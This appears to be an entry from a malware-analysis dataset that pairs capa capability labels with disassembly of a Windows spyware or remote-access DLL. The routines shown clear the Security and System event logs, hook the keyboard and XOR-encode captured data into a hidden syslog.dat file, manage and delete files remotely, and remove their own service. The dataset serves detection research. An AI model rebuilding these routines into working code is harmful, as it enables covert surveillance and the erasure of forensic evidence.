joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003e60
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100133c0
push 0x100128a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.msvcrt.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.kernel32.dll_lstrlen]
inc eax
push eax
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10003fd7
push esi
push edi
call dword [sym.imp.kernel32.dll_lstrcpy]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10003f17
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10003f17
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003ef2
cmp al, 0x5c
je 0x10003ef2
push esi
call dword [sym.imp.user32.dll_CharNextA]
mov esi, eax
jmp 0x10003eda
cmp byte [esi], 0
je 0x10003efb
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003f10
cmp al, 0x5c
je 0x10003f10
push esi
call dword [sym.imp.user32.dll_CharNextA]
mov esi, eax
jmp 0x10003ef8
cmp byte [esi], 0
je 0x10003f36
jmp 0x10003f32
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10003f36
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10003f36
cmp al, 0x5c
jne 0x10003f36
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.kernel32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x10003f9b
cmp al, 0x5c
jne 0x10003f8d
mov byte [esi], 0
push edi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10003f80
push 0
call ebx
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x10003f8a
push eax
call ebx
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x10003f8a
push 0
call ebx
push edi
jmp 0x10003fce
and eax, 0x10
cmp al, 0x10
je 0x10003f8a
push edi
jmp 0x10003fce
mov byte [esi], 0x5c
push esi
call dword [sym.imp.user32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10003f3c
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.msvcrt.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10004060
Capabilities:
Get disk information
Get disk size

Disassembly:
sub esp, 0x78c
push ebx
push ebp
push esi
lea eax, [esp + 0x138]
push edi
push eax
mov dword [esp + 0x2c], ecx
push pe_nt_image_headers32
mov byte [esp + 0x3a4], 0x67
call dword [sym.imp.kernel32.dll_GetLogicalDriveStringsA]
xor esi, esi
push str.Shell32.dll
lea ebp, [esp + 0x140]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov edi, eax
push str.SHGetFileInfoA
push edi
mov dword [esp + 0x38], edi
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [esp + 0x34], eax
mov al, byte [esp + 0x13c]
test al, al
mov ebx, 1
je 0x1000421e
jmp 0x100040db
xor esi, esi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x38]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x3c]
push ecx
push esi
push esi
push esi
push esi
push esi
push ebp
call dword [sym.imp.kernel32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x240]
push 0x160
push edx
push 0x80
push ebp
call dword [esp + 0x48]
mov esi, dword [sym.imp.kernel32.dll_lstrlen]
lea eax, [esp + 0x34c]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x38]
inc edi
push ecx
mov dword [esp + 0x30], edi
call esi
inc eax
mov dword [esp + 0x10], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x1000418b
cmp al, 0x42
je 0x1000418b
lea edx, [esp + 0x20]
push 0
lea eax, [esp + 0x1c]
push edx
push eax
push ebp
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x1000418b
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov ecx, 0x14
call fcn.100128b0
mov edx, dword [esp + 0x1c]
mov esi, eax
mov eax, dword [esp + 0x18]
mov ecx, 0x14
call fcn.100128b0
mov dword [esp + 0x14], eax
jmp 0x10004191
xor esi, esi
mov dword [esp + 0x14], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x3a0], cl
call dword [sym.imp.kernel32.dll_GetDriveTypeA]
mov edx, dword [esp + 0x14]
mov ecx, edi
mov byte [esp + ebx + 0x39d], al
mov eax, ecx
mov dword [esp + ebx + 0x39e], esi
lea esi, [esp + 0x34c]
lea edi, [esp + ebx + 0x3a6]
mov dword [esp + ebx + 0x3a2], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x2c]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
lea edx, [eax + ebx]
lea esi, [esp + 0x3c]
lea edi, [esp + edx + 0x3aa]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.kernel32.dll_lstrlen]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x100040d9
mov edi, dword [esp + 0x30]
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x39c]
push ebx
push edx
call fcn.10007280
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x78c
ret
Function at 0x10004460
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x454
push ebx
push ebp
mov al, 0x2a
push esi
mov esi, dword [esp + 0x464]
mov ebx, ecx
mov byte [esp + 0xf], al
mov byte [esp + 0x11], al
push edi
mov edi, dword [sym.imp.user32.dll_wsprintfA]
lea eax, [esp + 0x10]
push esi
lea ecx, [esp + 0x364]
push eax
push ecx
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], 0
call edi
add esp, 0xc
lea edx, [esp + 0x18]
lea eax, [esp + 0x360]
push edx
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x100044d8
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x454
ret 4
cmp byte [esp + 0x44], 0x2e
je 0x1000452b
mov al, byte [esp + 0x18]
lea ecx, [esp + 0x44]
push ecx
push esi
test al, 0x10
push str._s_s
je 0x10004510
lea edx, [esp + 0x164]
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x158]
mov ecx, ebx
push eax
call fcn.10004460
jmp 0x1000452b
lea edx, [esp + 0x268]
push edx
call edi
add esp, 0x10
lea eax, [esp + 0x25c]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
push ecx
push ebp
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x100044d8
push ebp
call dword [sym.imp.kernel32.dll_FindClose]
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x454
ret 4
Function at 0x10004560
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push 0x80000000
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100045c4
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.kernel32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push ebx
call dword [sym.imp.kernel32.dll_lstrlen]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.kernel32.dll_lstrlen]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.10007280
push ebx
mov esi, eax
call dword [sym.imp.kernel32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4

Function at 0x10004660
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x1000467e
call fcn.10004740
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push 0x80000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x100046a9
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.kernel32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.kernel32.dll_ReadFile]
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x10004721
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.10007280
push esi
mov edi, eax
call dword [sym.imp.kernel32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.10004740
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x10004dc0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.kernel32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.kernel32.dll_WriteFile]
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.10007280
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x10005a70
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.msvcrt.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10005a92
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.1000a380
add esp, 8
test al, al
jne 0x10005aa6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.xiaox_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.kernel32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret

Function at 0x10005b80
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.advapi32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.advapi32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x10005bd0
push 0
push esi
call ebp
push esi
call dword [sym.imp.advapi32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10005bb7
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10005bf0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov esi, ecx
push eax
call fcn.10007200
mov eax, dword [esp + 0x10]
mov edi, dword [sym.imp.kernel32.dll_lstrcpy]
test eax, eax
mov dword [esi], 0x100133cc
je 0x10005c19
lea ecx, [esi + 0x10]
push eax
push ecx
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10005c2b
lea edx, [esi + 0x110]
push eax
push edx
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10005c3b
push eax
push 0x100188e0
call edi
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
push 0
push 0
push 0
push 0x100056a0
push 0
mov dword [0x10016318], eax
push 0
mov dword [esi + 0x9e54], ecx
mov dword [esi + 0x9e50], 0
mov byte [esi + 0x9e58], 0
call dword [sym.imp.kernel32.dll_CreateThread]
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
ret 0x18

Function at 0x10006220
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._syslog.dat
push ecx
call dword [sym.imp.kernel32.dll_lstrcat]
lea edx, [esp]
push edx
call dword [sym.imp.kernel32.dll_DeleteFileA]
add esp, 0x104
ret

Function at 0x10006260
Capabilities:
Delete service
Terminate process

Disassembly:
push ebx
push esi
push edi
call fcn.10006220
mov esi, dword [sym.imp.msvcrt.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.advapi32.dll_OpenSCManagerA]
push 0x30
mov edi, eax
call esi
add esp, 4
push 0x10000
push 0x10018d88
push edi
call dword [sym.imp.advapi32.dll_OpenServiceA]
push 0x30
mov ebx, eax
call esi
add esp, 4
push ebx
call dword [sym.imp.advapi32.dll_DeleteService]
push 0x30
call esi
add esp, 4
push ebx
mov ebx, dword [sym.imp.advapi32.dll_CloseServiceHandle]
call ebx
push 0x30
call esi
add esp, 4
push edi
call ebx
push 1
push 0
push 3
call fcn.1000b780
add esp, 0xc
push 0xa
call dword [sym.imp.kernel32.dll_Sleep]
push 0
push 0
push 1
call fcn.1000b780
add esp, 0xc
push 0
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x10006310
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.msvcrt.dll_putchar]
push edi
push 0x30
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.kernel32.dll_Process32First
push 0x30
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.kernel32.dll_lstrcmpi]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x1000639a
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.kernel32.dll_Process32Next
test eax, eax
je 0x100063a0
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x10006378
mov ebx, dword [esp + 0x1c]
jmp 0x100063a4
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret

Function at 0x100067d0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x10018af4]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.kernel32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x1000681d
push 2
push 0
push 0
push ebx
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.kernel32.dll_lstrlen]
mov edi, eax
push edi
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x1000684b
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x1000683f
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.kernel32.dll_WriteFile]
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
push esi
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x10006ca0
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x10018b04]
sub esp, 0x28
test eax, eax
jne 0x10006cbc
push str.user32.dll
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [0x10018b04], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x100133dc
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.10006dc0
mov esi, dword [sym.imp.msvcrt.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_CreateFileMappingA]
push 0x30
mov dword [0x10018af8], eax
call esi
mov eax, dword [0x10018af8]
add esp, 4
test eax, eax
jne 0x10006d4a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x10006d82
push 0x30
call esi
mov eax, dword [0x10018af8]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.kernel32.dll_MapViewOfFile]
push 0x30
mov dword [0x10018af4], eax
call esi
mov eax, dword [0x10018af4]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x10006d9e
test eax, eax
je 0x10006d96
push eax
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10006db2
push eax
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x10006f40
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
call fcn.10006ca0
test al, al
jne 0x10006f4a
ret
push esi
push edi
mov edi, dword [0x10018af4]
mov ecx, 0x165
xor eax, eax
rep stosd dword es:[edi], eax
mov byte [0x10018af0], 1
call dword [sym.imp.kernel32.dll_GetTickCount]
mov dword [0x10018aec], eax
mov eax, dword [0x10018af4]
push 0x104
mov dword [eax + 8], 0
mov ecx, dword [0x10018af4]
xor eax, eax
mov dword [ecx + 4], 0
mov edx, dword [0x10018af4]
mov ecx, 0x20
mov dword [edx], 0
mov edx, dword [0x10018af4]
lea edi, [edx + 0x511]
rep stosd dword es:[edi], eax
mov eax, dword [0x10018af4]
add eax, 0xd
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
mov ecx, dword [0x10018af4]
push str._syslog.dat
add ecx, 0xd
push ecx
call dword [sym.imp.kernel32.dll_lstrcat]
mov esi, dword [sym.imp.msvcrt.dll_putchar]
push 0x30
call esi
mov edx, dword [0x10018b04]
add esp, 4
push str.SetWindowsHookExA
push edx
call dword [sym.imp.kernel32.dll_GetProcAddress]
push 0x30
mov edi, eax
call esi
mov eax, dword [0x10018af4]
add esp, 4
add eax, 0xd
push eax
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x10007018
mov ecx, dword [0x10018af4]
mov byte [ecx + 0xc], 1
jmp 0x10007022
mov edx, dword [0x10018af4]
mov byte [edx + 0xc], 0
mov eax, dword [0x10018af4]
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x10007049
mov ecx, dword [0x10018afc]
push 0
push ecx
push 0x10006a00
push 3
call edi
mov edx, dword [0x10018af4]
mov dword [edx + 4], eax
pop edi
mov al, 1
pop esi
ret

Function at 0x10007130
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str._syslog.dat
push ecx
call dword [sym.imp.kernel32.dll_lstrcat]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push 0x80000000
push edx
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100071ec
push edi
push ebx
call dword [sym.imp.kernel32.dll_GetFileSize]
mov edi, eax
test edi, edi
jne 0x100071a7
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop ebp
mov eax, 1
pop ebx
add esp, 0x108
ret
push esi
push edi
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.kernel32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x100071d7
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x100071c9
push edi
push esi
mov ecx, ebp
call fcn.100070d0
push esi
mov edi, eax
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10007320
Capabilities:
Create directory
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10012cf8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [esp + 0x10], ebx
call fcn.10007200
xor eax, eax
mov ecx, 0x41
push eax
mov edi, 0x10018b08
push 5
mov dword [ebx], 0x100133f4
push 0x10018b08
push eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], 0
call dword [sym.imp.shell32.dll_SHGetSpecialFolderPathA]
mov edi, str.Plugin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x10018b08
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x10018b08
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
push 0x10018b08
call dword [sym.imp.msvcrt.dll_puts]
add esp, 4
lea eax, [esp + 0x20]
mov ecx, ebx
mov byte [esp + 0x20], 0x81
push 1
push eax
call fcn.10007280
mov ecx, ebx
call fcn.100072f0
push 0
push 0
push 0
push ebx
push 0x100078b0
push 0
push 0
call fcn.1000a0e0
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4

Function at 0x10007440
Capabilities:
Write file on windows

Disassembly:
push ebx
mov eax, dword [esp + 0x10]
push esi
xor esi, esi
push esi
push 0x80
push 4
push esi
push 3
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000746b
pop esi
xor eax, eax
pop ebx
ret
push ebp
push edi
push 2
push esi
push esi
push ebx
call dword [sym.imp.kernel32.dll_SetFilePointer]
mov edi, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x1c], esi
mov edx, edi
lea ecx, [esp + 0x1c]
push 0
sub edx, esi
push ecx
lea eax, [esi + ebp]
push edx
push eax
push ebx
call dword [sym.imp.kernel32.dll_WriteFile]
add esi, dword [esp + 0x1c]
cmp esi, edi
jb 0x10007484
push ebx
call dword [sym.imp.kernel32.dll_CloseHandle]
pop edi
pop ebp
pop esi
mov eax, 1
pop ebx
ret